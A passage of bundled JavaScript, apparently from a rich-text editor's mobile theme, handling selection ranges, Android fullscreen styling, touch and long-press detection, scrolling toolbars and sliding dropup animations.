adt$1.exact; var getWin$1 = function (selection) { var start = getStart(selection); return defaultView(start); }; var range = SimRange.create; var SimSelection = { domRange: domRange, relative: relative, exact: exact, exactFromRange: exactFromRange, getWin: getWin$1, range: range }; var beforeSpecial = function (element, offset) { var name = name$1(element); if ('input' === name) { return Situ.after(element); } else if (!contains$1([ 'br', 'img' ], name)) { return Situ.on(element, offset); } else { return offset === 0 ? Situ.before(element) : Situ.after(element); } }; var preprocessExact = function (start, soffset, finish, foffset) { var startSitu = beforeSpecial(start, soffset); var finishSitu = beforeSpecial(finish, foffset); return SimSelection.relative(startSitu, finishSitu); }; var makeRange = function (start, soffset, finish, foffset) { var doc = owner$2(start); var rng = doc.dom.createRange(); rng.setStart(start.dom, soffset); rng.setEnd(finish.dom, foffset); return rng; }; var after = function (start, soffset, finish, foffset) { var r = makeRange(start, soffset, finish, foffset); var same = eq(start, finish) && soffset === foffset; return r.collapsed && !same; }; var getNativeSelection = function (win) { return Optional.from(win.getSelection()); }; var doSetNativeRange = function (win, rng) { getNativeSelection(win).each(function (selection) { selection.removeAllRanges(); selection.addRange(rng); }); }; var doSetRange = function (win, start, soffset, finish, foffset) { var rng = exactToNative(win, start, soffset, finish, foffset); doSetNativeRange(win, rng); }; var setLegacyRtlRange = function (win, selection, start, soffset, finish, foffset) { selection.collapse(start.dom, soffset); selection.extend(finish.dom, foffset); }; var setRangeFromRelative = function (win, relative) { return diagnose(win, relative).match({ ltr: function (start, soffset, finish, foffset) { doSetRange(win, start, soffset, finish, foffset); }, rtl: function (start, soffset, finish, foffset) { getNativeSelection(win).each(function (selection) { if (selection.setBaseAndExtent) { selection.setBaseAndExtent(start.dom, soffset, finish.dom, foffset); } else if (selection.extend) { try { setLegacyRtlRange(win, selection, start, soffset, finish, foffset); } catch (e) { doSetRange(win, finish, foffset, start, soffset); } } else { doSetRange(win, finish, foffset, start, soffset); } }); } }); }; var setExact = function (win, start, soffset, finish, foffset) { var relative = preprocessExact(start, soffset, finish, foffset); setRangeFromRelative(win, relative); }; var readRange = function (selection) { if (selection.rangeCount > 0) { var firstRng = selection.getRangeAt(0); var lastRng = selection.getRangeAt(selection.rangeCount - 1); return Optional.some(SimRange.create(SugarElement.fromDom(firstRng.startContainer), firstRng.startOffset, SugarElement.fromDom(lastRng.endContainer), lastRng.endOffset)); } else { return Optional.none(); } }; var doGetExact = function (selection) { if (selection.anchorNode === null || selection.focusNode === null) { return readRange(selection); } else { var anchor = SugarElement.fromDom(selection.anchorNode); var focus_1 = SugarElement.fromDom(selection.focusNode); return after(anchor, selection.anchorOffset, focus_1, selection.focusOffset) ? Optional.some(SimRange.create(anchor, selection.anchorOffset, focus_1, selection.focusOffset)) : readRange(selection); } }; var getExact = function (win) { return getNativeSelection(win).filter(function (sel) { return sel.rangeCount > 0; }).bind(doGetExact); }; var get = function (win) { return getExact(win).map(function (range) { return SimSelection.exact(range.start, range.soffset, range.finish, range.foffset); }); }; var getFirstRect = function (win, selection) { var rng = asLtrRange(win, selection); return getFirstRect$1(rng); }; var clear = function (win) { getNativeSelection(win).each(function (selection) { return selection.removeAllRanges(); }); }; var getBodyFromFrame = function (frame) { return Optional.some(SugarElement.fromDom(frame.dom.contentWindow.document.body)); }; var getDocFromFrame = function (frame) { return Optional.some(SugarElement.fromDom(frame.dom.contentWindow.document)); }; var getWinFromFrame = function (frame) { return Optional.from(frame.dom.contentWindow); }; var getSelectionFromFrame = function (frame) { var optWin = getWinFromFrame(frame); return optWin.bind(getExact); }; var getFrame = function (editor) { return editor.getFrame(); }; var getOrDerive = function (name, f) { return function (editor) { var g = editor[name].getOrThunk(function () { var frame = getFrame(editor); return function () { return f(frame); }; }); return g(); }; }; var getOrListen = function (editor, doc, name, type) { return editor[name].getOrThunk(function () { return function (handler) { return bind(doc, type, handler); }; }); }; var getActiveApi = function (editor) { var frame = getFrame(editor); var tryFallbackBox = function (win) { var isCollapsed = function (sel) { return eq(sel.start, sel.finish) && sel.soffset === sel.foffset; }; var toStartRect = function (sel) { var rect = sel.start.dom.getBoundingClientRect(); return rect.width > 0 || rect.height > 0 ? Optional.some(rect) : Optional.none(); }; return getExact(win).filter(isCollapsed).bind(toStartRect); }; return getBodyFromFrame(frame).bind(function (body) { return getDocFromFrame(frame).bind(function (doc) { return getWinFromFrame(frame).map(function (win) { var html = SugarElement.fromDom(doc.dom.documentElement); var getCursorBox = editor.getCursorBox.getOrThunk(function () { return function () { return get(win).bind(function (sel) { return getFirstRect(win, sel).orThunk(function () { return tryFallbackBox(win); }); }); }; }); var setSelection = editor.setSelection.getOrThunk(function () { return function (start, soffset, finish, foffset) { setExact(win, start, soffset, finish, foffset); }; }); var clearSelection = editor.clearSelection.getOrThunk(function () { return function () { clear(win); }; }); return { body: body, doc: doc, win: win, html: html, getSelection: curry(getSelectionFromFrame, frame), setSelection: setSelection, clearSelection: clearSelection, frame: frame, onKeyup: getOrListen(editor, doc, 'onKeyup', 'keyup'), onNodeChanged: getOrListen(editor, doc, 'onNodeChanged', 'SelectionChange'), onDomChanged: editor.onDomChanged, onScrollToCursor: editor.onScrollToCursor, onScrollToElement: editor.onScrollToElement, onToReading: editor.onToReading, onToEditing: editor.onToEditing, onToolbarScrollStart: editor.onToolbarScrollStart, onTouchContent: editor.onTouchContent, onTapContent: editor.onTapContent, onTouchToolstrip: editor.onTouchToolstrip, getCursorBox: getCursorBox }; }); }); }); }; var getWin = getOrDerive('getWin', getWinFromFrame); var tag = function () { var head = first$1('head').getOrDie(); var nu = function () { var meta = SugarElement.fromTag('meta'); set$8(meta, 'name', 'viewport'); append$2(head, meta); return meta; }; var element = first$1('meta[name="viewport"]').getOrThunk(nu); var backup = get$b(element, 'content'); var maximize = function () { set$8(element, 'content', 'width=device-width, initial-scale=1.0, user-scalable=no, maximum-scale=1.0'); }; var restore = function () { if (backup !== undefined && backup !== null && backup.length > 0) { set$8(element, 'content', backup); } else { set$8(element, 'content', 'user-scalable=yes'); } }; return { maximize: maximize, restore: restore }; }; var attr = 'data-ephox-mobile-fullscreen-style'; var siblingStyles = 'display:none!important;'; var ancestorPosition = 'position:absolute!important;'; var ancestorStyles = 'top:0!important;left:0!important;margin:0!important;padding:0!important;width:100%!important;height:100%!important;overflow:visible!important;'; var bgFallback = 'background-color:rgb(255,255,255)!important;'; var isAndroid = detect$1().os.isAndroid(); var matchColor = function (editorBody) { var color = get$8(editorBody, 'background-color'); return color !== undefined && color !== '' ? 'background-color:' + color + '!important' : bgFallback; }; var clobberStyles = function (container, editorBody) { var gatherSiblings = function (element) { return siblings(element, '*'); }; var clobber = function (clobberStyle) { return function (element) { var styles = get$b(element, 'style'); var backup = styles === undefined ? 'no-styles' : styles.trim(); if (backup === clobberStyle) { return; } else { set$8(element, attr, backup); set$8(element, 'style', clobberStyle); } }; }; var ancestors$1 = ancestors(container, '*'); var siblings$1 = bind$3(ancestors$1, gatherSiblings); var bgColor = matchColor(editorBody); each$1(siblings$1, clobber(siblingStyles)); each$1(ancestors$1, clobber(ancestorPosition + ancestorStyles + bgColor)); var containerStyles = isAndroid === true ? '' : ancestorPosition; clobber(containerStyles + ancestorStyles + bgColor)(container); }; var restoreStyles = function () { var clobberedEls = all('[' + attr + ']'); each$1(clobberedEls, function (element) { var restore = get$b(element, attr); if (restore !== 'no-styles') { set$8(element, 'style', restore); } else { remove$6(element, 'style'); } remove$6(element, attr); }); }; var DelayedFunction = function (fun, delay) { var ref = null; var schedule = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } ref = setTimeout(function () { fun.apply(null, args); ref = null; }, delay); }; var cancel = function () { if (ref !== null) { clearTimeout(ref); ref = null; } }; return { cancel: cancel, schedule: schedule }; }; var SIGNIFICANT_MOVE = 5; var LONGPRESS_DELAY = 400; var getTouch = function (event) { var raw = event.raw; if (raw.touches === undefined || raw.touches.length !== 1) { return Optional.none(); } return Optional.some(raw.touches[0]); }; var isFarEnough = function (touch, data) { var distX = Math.abs(touch.clientX - data.x); var distY = Math.abs(touch.clientY - data.y); return distX > SIGNIFICANT_MOVE || distY > SIGNIFICANT_MOVE; }; var monitor$1 = function (settings) { var startData = value(); var longpressFired = Cell(false); var longpress$1 = DelayedFunction(function (event) { settings.triggerEvent(longpress(), event); longpressFired.set(true); }, LONGPRESS_DELAY); var handleTouchstart = function (event) { getTouch(event).each(function (touch) { longpress$1.cancel(); var data = { x: touch.clientX, y: touch.clientY, target: event.target }; longpress$1.schedule(event); longpressFired.set(false); startData.set(data); }); return Optional.none(); }; var handleTouchmove = function (event) { longpress$1.cancel(); getTouch(event).each(function (touch) { startData.on(function (data) { if (isFarEnough(touch, data)) { startData.clear(); } }); }); return Optional.none(); }; var handleTouchend = function (event) { longpress$1.cancel(); var isSame = function (data) { return eq(data.target, event.target); }; return startData.get().filter(isSame).map(function (_data) { if (longpressFired.get()) { event.prevent(); return false; } else { return settings.triggerEvent(tap(), event); } }); }; var handlers = wrapAll([ { key: touchstart(), value: handleTouchstart }, { key: touchmove(), value: handleTouchmove }, { key: touchend(), value: handleTouchend } ]); var fireIfReady = function (event, type) { return get$c(handlers, type).bind(function (handler) { return handler(event); }); }; return { fireIfReady: fireIfReady }; }; var monitor = function (editorApi) { var tapEvent = monitor$1({ triggerEvent: function (type, evt) { editorApi.onTapContent(evt); } }); var onTouchend = function () { return bind(editorApi.body, 'touchend', function (evt) { tapEvent.fireIfReady(evt, 'touchend'); }); }; var onTouchmove = function () { return bind(editorApi.body, 'touchmove', function (evt) { tapEvent.fireIfReady(evt, 'touchmove'); }); }; var fireTouchstart = function (evt) { tapEvent.fireIfReady(evt, 'touchstart'); }; return { fireTouchstart: fireTouchstart, onTouchend: onTouchend, onTouchmove: onTouchmove }; }; var isAndroid6 = detect$1().os.version.major >= 6; var initEvents$1 = function (editorApi, toolstrip, alloy) { var tapping = monitor(editorApi); var outerDoc = owner$2(toolstrip); var isRanged = function (sel) { return !eq(sel.start, sel.finish) || sel.soffset !== sel.foffset; }; var hasRangeInUi = function () { return active(outerDoc).filter(function (input) { return name$1(input) === 'input'; }).exists(function (input) { return input.dom.selectionStart !== input.dom.selectionEnd; }); }; var updateMargin = function () { var rangeInContent = editorApi.doc.dom.hasFocus() && editorApi.getSelection().exists(isRanged); alloy.getByDom(toolstrip).each((rangeInContent || hasRangeInUi()) === true ? Toggling.on : Toggling.off); }; var listeners = [ bind(editorApi.body, 'touchstart', function (evt) { editorApi.onTouchContent(); tapping.fireTouchstart(evt); }), tapping.onTouchmove(), tapping.onTouchend(), bind(toolstrip, 'touchstart', function (_evt) { editorApi.onTouchToolstrip(); }), editorApi.onToReading(function () { blur$1(editorApi.body); }), editorApi.onToEditing(noop), editorApi.onScrollToCursor(function (tinyEvent) { tinyEvent.preventDefault(); editorApi.getCursorBox().each(function (bounds) { var cWin = editorApi.win; var isOutside = bounds.top > cWin.innerHeight || bounds.bottom > cWin.innerHeight; var cScrollBy = isOutside ? bounds.bottom - cWin.innerHeight + 50 : 0; if (cScrollBy !== 0) { cWin.scrollTo(cWin.pageXOffset, cWin.pageYOffset + cScrollBy); } }); }) ].concat(isAndroid6 === true ? [] : [ bind(SugarElement.fromDom(editorApi.win), 'blur', function () { alloy.getByDom(toolstrip).each(Toggling.off); }), bind(outerDoc, 'select', updateMargin), bind(editorApi.doc, 'selectionchange', updateMargin) ]); var destroy = function () { each$1(listeners, function (l) { l.unbind(); }); }; return { destroy: destroy }; }; var safeParse = function (element, attribute) { var parsed = parseInt(get$b(element, attribute), 10); return isNaN(parsed) ? 0 : parsed; }; var COLLAPSED_WIDTH = 2; var collapsedRect = function (rect) { return __assign(__assign({}, rect), { width: COLLAPSED_WIDTH }); }; var toRect = function (rawRect) { return { left: rawRect.left, top: rawRect.top, right: rawRect.right, bottom: rawRect.bottom, width: rawRect.width, height: rawRect.height }; }; var getRectsFromRange = function (range) { if (!range.collapsed) { return map$2(range.getClientRects(), toRect); } else { var start_1 = SugarElement.fromDom(range.startContainer); return parent(start_1).bind(function (parent) { var selection = SimSelection.exact(start_1, range.startOffset, parent, getEnd(parent)); var optRect = getFirstRect(range.startContainer.ownerDocument.defaultView, selection); return optRect.map(collapsedRect).map(pure$2); }).getOr([]); } }; var getRectangles = function (cWin) { var sel = cWin.getSelection(); return sel !== undefined && sel.rangeCount > 0 ? getRectsFromRange(sel.getRangeAt(0)) : []; }; var autocompleteHack = function () { return function (f) { global$2.setTimeout(function () { f(); }, 0); }; }; var resume$1 = function (cWin) { cWin.focus(); var iBody = SugarElement.fromDom(cWin.document.body); var inInput = active().exists(function (elem) { return contains$1([ 'input', 'textarea' ], name$1(elem)); }); var transaction = inInput ? autocompleteHack() : apply$1; transaction(function () { active().each(blur$1); focus$3(iBody); }); }; var EXTRA_SPACING = 50; var data = 'data-' + resolve('last-outer-height'); var setLastHeight = function (cBody, value) { set$8(cBody, data, value); }; var getLastHeight = function (cBody) { return safeParse(cBody, data); }; var getBoundsFrom = function (rect) { return { top: rect.top, bottom: rect.top + rect.height }; }; var getBounds = function (cWin) { var rects = getRectangles(cWin); return rects.length > 0 ? Optional.some(rects[0]).map(getBoundsFrom) : Optional.none(); }; var findDelta = function (outerWindow, cBody) { var last = getLastHeight(cBody); var current = outerWindow.innerHeight; return last > current ? Optional.some(last - current) : Optional.none(); }; var calculate = function (cWin, bounds, delta) { var isOutside = bounds.top > cWin.innerHeight || bounds.bottom > cWin.innerHeight; return isOutside ? Math.min(delta, bounds.bottom - cWin.innerHeight + EXTRA_SPACING) : 0; }; var setup$2 = function (outerWindow, cWin) { var cBody = SugarElement.fromDom(cWin.document.body); var toEditing = function () { resume$1(cWin); }; var onResize = bind(SugarElement.fromDom(outerWindow), 'resize', function () { findDelta(outerWindow, cBody).each(function (delta) { getBounds(cWin).each(function (bounds) { var cScrollBy = calculate(cWin, bounds, delta); if (cScrollBy !== 0) { cWin.scrollTo(cWin.pageXOffset, cWin.pageYOffset + cScrollBy); } }); }); setLastHeight(cBody, outerWindow.innerHeight); }); setLastHeight(cBody, outerWindow.innerHeight); var destroy = function () { onResize.unbind(); }; return { toEditing: toEditing, destroy: destroy }; }; var create$2 = function (platform, mask) { var meta = tag(); var androidApi = api$2(); var androidEvents = api$2(); var enter = function () { mask.hide(); add$1(platform.container, resolve('fullscreen-maximized')); add$1(platform.container, resolve('android-maximized')); meta.maximize(); add$1(platform.body, resolve('android-scroll-reload')); androidApi.set(setup$2(platform.win, getWin(platform.editor).getOrDie('no'))); getActiveApi(platform.editor).each(function (editorApi) { clobberStyles(platform.container, editorApi.body); androidEvents.set(initEvents$1(editorApi, platform.toolstrip, platform.alloy)); }); }; var exit = function () { meta.restore(); mask.show(); remove$3(platform.container, resolve('fullscreen-maximized')); remove$3(platform.container, resolve('android-maximized')); restoreStyles(); remove$3(platform.body, resolve('android-scroll-reload')); androidEvents.clear(); androidApi.clear(); }; return { enter: enter, exit: exit }; }; var first = function (fn, rate) { var timer = null; var cancel = function () { if (!isNull(timer)) { clearTimeout(timer); timer = null; } }; var throttle = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (isNull(timer)) { timer = setTimeout(function () { timer = null; fn.apply(null, args); }, rate); } }; return { cancel: cancel, throttle: throttle }; }; var last = function (fn, rate) { var timer = null; var cancel = function () { if (!isNull(timer)) { clearTimeout(timer); timer = null; } }; var throttle = function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } cancel(); timer = setTimeout(function () { timer = null; fn.apply(null, args); }, rate); }; return { cancel: cancel, throttle: throttle }; }; var sketch = function (onView, _translate) { var memIcon = record(Container.sketch({ dom: dom$1(''), containerBehaviours: derive$2([Toggling.config({ toggleClass: resolve('mask-tap-icon-selected'), toggleOnExecute: false })]) })); var onViewThrottle = first(onView, 200); return Container.sketch({ dom: dom$1('
    '), components: [Container.sketch({ dom: dom$1('
    '), components: [Button.sketch({ dom: dom$1('
    '), components: [memIcon.asSpec()], action: function (_button) { onViewThrottle.throttle(); }, buttonBehaviours: derive$2([Toggling.config({ toggleClass: resolve('mask-tap-icon-selected') })]) })] })] }); }; var unbindNoop = constant$1({ unbind: noop }); var MobileSchema = objOf([ requiredObjOf('editor', [ required$1('getFrame'), option('getBody'), option('getDoc'), option('getWin'), option('getSelection'), option('setSelection'), option('clearSelection'), option('cursorSaver'), option('onKeyup'), option('onNodeChanged'), option('getCursorBox'), required$1('onDomChanged'), defaulted('onTouchContent', noop), defaulted('onTapContent', noop), defaulted('onTouchToolstrip', noop), defaulted('onScrollToCursor', unbindNoop), defaulted('onScrollToElement', unbindNoop), defaulted('onToEditing', unbindNoop), defaulted('onToReading', unbindNoop), defaulted('onToolbarScrollStart', identity) ]), required$1('socket'), required$1('toolstrip'), required$1('dropup'), required$1('toolbar'), required$1('container'), required$1('alloy'), customField('win', function (spec) { return owner$2(spec.socket).dom.defaultView; }), customField('body', function (spec) { return SugarElement.fromDom(spec.socket.dom.ownerDocument.body); }), defaulted('translate', identity), defaulted('setReadOnly', noop), defaulted('readOnlyOnInit', always) ]); var produce$1 = function (raw) { var mobile = asRawOrDie$1('Getting AndroidWebapp schema', MobileSchema, raw); set$5(mobile.toolstrip, 'width', '100%'); var onTap = function () { mobile.setReadOnly(mobile.readOnlyOnInit()); mode.enter(); }; var mask = build$1(sketch(onTap, mobile.translate)); mobile.alloy.add(mask); var maskApi = { show: function () { mobile.alloy.add(mask); }, hide: function () { mobile.alloy.remove(mask); } }; append$2(mobile.container, mask.element); var mode = create$2(mobile, maskApi); return { setReadOnly: mobile.setReadOnly, refreshStructure: noop, enter: mode.enter, exit: mode.exit, destroy: noop }; }; var schema$1 = constant$1([ required$1('dom'), defaulted('shell', true), field$1('toolbarBehaviours', [Replacing]) ]); var enhanceGroups = function () { return { behaviours: derive$2([Replacing.config({})]) }; }; var parts$1 = constant$1([optional({ name: 'groups', overrides: enhanceGroups })]); var factory$1 = function (detail, components, _spec, _externals) { var setGroups = function (toolbar, groups) { getGroupContainer(toolbar).fold(function () { console.error('Toolbar was defined to not be a shell, but no groups container was specified in components'); throw new Error('Toolbar was defined to not be a shell, but no groups container was specified in components'); }, function (container) { Replacing.set(container, groups); }); }; var getGroupContainer = function (component) { return detail.shell ? Optional.some(component) : getPart(component, detail, 'groups'); }; var extra = detail.shell ? { behaviours: [Replacing.config({})], components: [] } : { behaviours: [], components: components }; return { uid: detail.uid, dom: detail.dom, components: extra.components, behaviours: augment(detail.toolbarBehaviours, extra.behaviours), apis: { setGroups: setGroups }, domModification: { attributes: { role: 'group' } } }; }; var Toolbar = composite({ name: 'Toolbar', configFields: schema$1(), partFields: parts$1(), factory: factory$1, apis: { setGroups: function (apis, toolbar, groups) { apis.setGroups(toolbar, groups); } } }); var schema = constant$1([ required$1('items'), markers(['itemSelector']), field$1('tgroupBehaviours', [Keying]) ]); var parts = constant$1([group({ name: 'items', unit: 'item' })]); var factory = function (detail, components, _spec, _externals) { return { uid: detail.uid, dom: detail.dom, components: components, behaviours: augment(detail.tgroupBehaviours, [Keying.config({ mode: 'flow', selector: detail.markers.itemSelector })]), domModification: { attributes: { role: 'toolbar' } } }; }; var ToolbarGroup = composite({ name: 'ToolbarGroup', configFields: schema(), partFields: parts(), factory: factory }); var dataHorizontal = 'data-' + resolve('horizontal-scroll'); var canScrollVertically = function (container) { container.dom.scrollTop = 1; var result = container.dom.scrollTop !== 0; container.dom.scrollTop = 0; return result; }; var canScrollHorizontally = function (container) { container.dom.scrollLeft = 1; var result = container.dom.scrollLeft !== 0; container.dom.scrollLeft = 0; return result; }; var hasVerticalScroll = function (container) { return container.dom.scrollTop > 0 || canScrollVertically(container); }; var hasHorizontalScroll = function (container) { return container.dom.scrollLeft > 0 || canScrollHorizontally(container); }; var markAsHorizontal = function (container) { set$8(container, dataHorizontal, 'true'); }; var hasScroll = function (container) { return get$b(container, dataHorizontal) === 'true' ? hasHorizontalScroll(container) : hasVerticalScroll(container); }; var exclusive = function (scope, selector) { return bind(scope, 'touchmove', function (event) { closest$1(event.target, selector).filter(hasScroll).fold(function () { event.prevent(); }, noop); }); }; var ScrollingToolbar = function () { var makeGroup = function (gSpec) { var scrollClass = gSpec.scrollable === true ? '${prefix}-toolbar-scrollable-group' : ''; return { dom: dom$1('
    '), tgroupBehaviours: derive$2([config('adhoc-scrollable-toolbar', gSpec.scrollable === true ? [runOnInit(function (component, _simulatedEvent) { set$5(component.element, 'overflow-x', 'auto'); markAsHorizontal(component.element); register$2(component.element); })] : [])]), components: [Container.sketch({ components: [ToolbarGroup.parts.items({})] })], markers: { itemSelector: '.' + resolve('toolbar-group-item') }, items: gSpec.items }; }; var toolbar = build$1(Toolbar.sketch({ dom: dom$1('
    '), components: [Toolbar.parts.groups({})], toolbarBehaviours: derive$2([ Toggling.config({ toggleClass: resolve('context-toolbar'), toggleOnExecute: false, aria: { mode: 'none' } }), Keying.config({ mode: 'cyclic' }) ]), shell: true })); var wrapper = build$1(Container.sketch({ dom: { classes: [resolve('toolstrip')] }, components: [premade(toolbar)], containerBehaviours: derive$2([Toggling.config({ toggleClass: resolve('android-selection-context-toolbar'), toggleOnExecute: false })]) })); var resetGroups = function () { Toolbar.setGroups(toolbar, initGroups.get()); Toggling.off(toolbar); }; var initGroups = Cell([]); var setGroups = function (gs) { initGroups.set(gs); resetGroups(); }; var createGroups = function (gs) { return map$2(gs, compose(ToolbarGroup.sketch, makeGroup)); }; var refresh = function () { }; var setContextToolbar = function (gs) { Toggling.on(toolbar); Toolbar.setGroups(toolbar, gs); }; var restoreToolbar = function () { if (Toggling.isOn(toolbar)) { resetGroups(); } }; var focus = function () { Keying.focusIn(toolbar); }; return { wrapper: wrapper, toolbar: toolbar, createGroups: createGroups, setGroups: setGroups, setContextToolbar: setContextToolbar, restoreToolbar: restoreToolbar, refresh: refresh, focus: focus }; }; var makeEditSwitch = function (webapp) { return build$1(Button.sketch({ dom: dom$1('
    '), action: function () { webapp.run(function (w) { w.setReadOnly(false); }); } })); }; var makeSocket = function () { return build$1(Container.sketch({ dom: dom$1('
    '), components: [], containerBehaviours: derive$2([Replacing.config({})]) })); }; var showEdit = function (socket, switchToEdit) { Replacing.append(socket, premade(switchToEdit)); }; var hideEdit = function (socket, switchToEdit) { Replacing.remove(socket, switchToEdit); }; var updateMode = function (socket, switchToEdit, readOnly, root) { var swap = readOnly === true ? Swapping.toAlpha : Swapping.toOmega; swap(root); var f = readOnly ? showEdit : hideEdit; f(socket, switchToEdit); }; var getAnimationRoot = function (component, slideConfig) { return slideConfig.getAnimationRoot.fold(function () { return component.element; }, function (get) { return get(component); }); }; var getDimensionProperty = function (slideConfig) { return slideConfig.dimension.property; }; var getDimension = function (slideConfig, elem) { return slideConfig.dimension.getDimension(elem); }; var disableTransitions = function (component, slideConfig) { var root = getAnimationRoot(component, slideConfig); remove$1(root, [ slideConfig.shrinkingClass, slideConfig.growingClass ]); }; var setShrunk = function (component, slideConfig) { remove$3(component.element, slideConfig.openClass); add$1(component.element, slideConfig.closedClass); set$5(component.element, getDimensionProperty(slideConfig), '0px'); reflow(component.element); }; var setGrown = function (component, slideConfig) { remove$3(component.element, slideConfig.closedClass); add$1(component.element, slideConfig.openClass); remove$2(component.element, getDimensionProperty(slideConfig)); }; var doImmediateShrink = function (component, slideConfig, slideState, _calculatedSize) { slideState.setCollapsed(); set$5(component.element, getDimensionProperty(slideConfig), getDimension(slideConfig, component.element)); reflow(component.element); disableTransitions(component, slideConfig); setShrunk(component, slideConfig); slideConfig.onStartShrink(component); slideConfig.onShrunk(component); }; var doStartShrink = function (component, slideConfig, slideState, calculatedSize) { var size = calculatedSize.getOrThunk(function () { return getDimension(slideConfig, component.element); }); slideState.setCollapsed(); set$5(component.element, getDimensionProperty(slideConfig), size); reflow(component.element); var root = getAnimationRoot(component, slideConfig); remove$3(root, slideConfig.growingClass); add$1(root, slideConfig.shrinkingClass); setShrunk(component, slideConfig); slideConfig.onStartShrink(component); }; var doStartSmartShrink = function (component, slideConfig, slideState) { var size = getDimension(slideConfig, component.element); var shrinker = size === '0px' ? doImmediateShrink : doStartShrink; shrinker(component, slideConfig, slideState, Optional.some(size)); }; var doStartGrow = function (component, slideConfig, slideState) { var root = getAnimationRoot(component, slideConfig); var wasShrinking = has(root, slideConfig.shrinkingClass); var beforeSize = getDimension(slideConfig, component.element); setGrown(component, slideConfig); var fullSize = getDimension(slideConfig, component.element); var startPartialGrow = function () { set$5(component.element, getDimensionProperty(slideConfig), beforeSize); reflow(component.element); }; var startCompleteGrow = function () { setShrunk(component, slideConfig); }; var setStartSize = wasShrinking ? startPartialGrow : startCompleteGrow; setStartSize(); remove$3(root, slideConfig.shrinkingClass); add$1(root, slideConfig.growingClass); setGrown(component, slideConfig); set$5(component.element, getDimensionProperty(slideConfig), fullSize); slideState.setExpanded(); slideConfig.onStartGrow(component); }; var refresh$1 = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { remove$2(component.element, getDimensionProperty(slideConfig)); var fullSize = getDimension(slideConfig, component.element); set$5(component.element, getDimensionProperty(slideConfig), fullSize); } }; var grow = function (component, slideConfig, slideState) { if (!slideState.isExpanded()) { doStartGrow(component, slideConfig, slideState); } }; var shrink = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { doStartSmartShrink(component, slideConfig, slideState); } }; var immediateShrink = function (component, slideConfig, slideState) { if (slideState.isExpanded()) { doImmediateShrink(component, slideConfig, slideState); } }; var hasGrown = function (component, slideConfig, slideState) { return slideState.isExpanded(); }; var hasShrunk = function (component, slideConfig, slideState) { return slideState.isCollapsed(); }; var isGrowing = function (component, slideConfig, _slideState) { var root = getAnimationRoot(component, slideConfig); return has(root, slideConfig.growingClass) === true; }; var isShrinking = function (component, slideConfig, _slideState) { var root = getAnimationRoot(component, slideConfig); return has(root, slideConfig.shrinkingClass) === true; }; var isTransitioning = function (component, slideConfig, slideState) { return isGrowing(component, slideConfig) || isShrinking(component, slideConfig); }; var toggleGrow = function (component, slideConfig, slideState) { var f = slideState.isExpanded() ? doStartSmartShrink : doStartGrow; f(component, slideConfig, slideState); }; var SlidingApis = /*#__PURE__*/Object.freeze({ __proto__: null, refresh: refresh$1, grow: grow, shrink: shrink, immediateShrink: immediateShrink, hasGrown: hasGrown, hasShrunk: hasShrunk, isGrowing: isGrowing, isShrinking: isShrinking, isTransitioning: isTransitioning, toggleGrow: toggleGrow, disableTransitions: disableTransitions }); var exhibit = function (base, slideConfig, _slideState) { var expanded = slideConfig.expanded; return expanded ? nu$3({ classes: [slideConfig.openClass], styles: {} }) : nu$3({ classes: [slideConfig.closedClass], styles: wrap(slideConfig.dimension.property, '0px') }); }; var events = function (slideConfig, slideState) { return derive$3([runOnSource(transitionend(), function (component, simulatedEvent) { var raw = simulatedEvent.event.raw; if (raw.propertyName === slideConfig.dimension.property) { disableTransitions(component, slideConfig); if (slideState.isExpanded()) { remove$2(component.element, slideConfig.dimension.property); } var notify = slideState.isExpanded() ? slideConfig.onGrown : slideConfig.onShrunk; notify(component); } })]); }; var ActiveSliding = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit, events: events }); var SlidingSchema = [ required$1('closedClass'), required$1('openClass'), required$1('shrinkingClass'), required$1('growingClass'), option('getAnimationRoot'), onHandler('onShrunk'), onHandler('onStartShrink'), onHandler('onGrown'), onHandler('onStartGrow'), defaulted('expanded', false), requiredOf('dimension', choose$1('property', { width: [ output('property', 'width'), output('getDimension', function (elem) { return get$5(elem) + 'px'; }) ], height: [ output('property', 'height'), output('getDimension', function (elem) { return get$7(elem) + 'px'; }) ] })) ]; var init$1 = function (spec) { var state = Cell(spec.expanded); var readState = function () { return 'expanded: ' + state.get(); }; return nu$2({ isExpanded: function () { return state.get() === true; }, isCollapsed: function () { return state.get() === false; }, setCollapsed: curry(state.set, false), setExpanded: curry(state.set, true), readState: readState }); }; var SlidingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$1 }); var Sliding = create$5({ fields: SlidingSchema, name: 'sliding', active: ActiveSliding, apis: SlidingApis, state: SlidingState }); var build = function (refresh, scrollIntoView) { var dropup = build$1(Container.sketch({ dom: { tag: 'div', classes: [resolve('dropup')] }, components: [], containerBehaviours: derive$2([ Replacing.config({}), Sliding.config({ closedClass: resolve('dropup-closed'), openClass: resolve('dropup-open'), shrinkingClass: resolve('dropup-shrinking'), growingClass: resolve('dropup-growing'), dimension: { property: 'height' }, onShrunk: function (component) { refresh(); scrollIntoView(); Replacing.set(component, []); }, onGrown: function (_component) { refresh(); scrollIntoView(); } }), orientation(function (_component, _data) { disappear(noop); }) ]) })); var appear = function (menu, update, component) { if (Sliding.hasShrunk(dropup) === true && Sliding.isTransitioning(dropup) === false) { window.requestAnimationFrame(function () { update(component); Replacing.set(dropup, [menu()]); Sliding.grow(dropup); }); } }; var disappear = function (onReadyToShrink) { window.requestAnimationFrame(function () { onReadyToShrink(); Sliding.shrink(dropup); }); }; return { appear: appear, disappear: disappear, component: dropup, element: dropup.element }; }; var closest = function (scope, selector, isRoot) { return closest$1(scope, selector, isRoot).isSome(); }; var isDangerous = function (event) { var keyEv = event.raw; return keyEv.which === BACKSPACE[0] && !contains$1([ 'input', 'textarea' ], name$1(event.target)) && !closest(event.target, '[contenteditable="true"]'); }; var isFirefox = function () { return detect$1().browser.isFirefox(); }; var bindFocus = function (container, handler) { if (isFirefox()) { return capture(container, 'focus', handler); } else { return bind(container, 'focusin', handler); } }; var bindBlur = function (container, handler) { if (isFirefox()) { return capture(container, 'blur', handler); } else { return bind(container, 'focusout', handler); } }; var setup$1 = function (container, rawSettings) { var settings = __assign({ stopBackspace: true }, rawSettings); var pointerEvents = [ 'touchstart', 'touchmove', 'touchend', 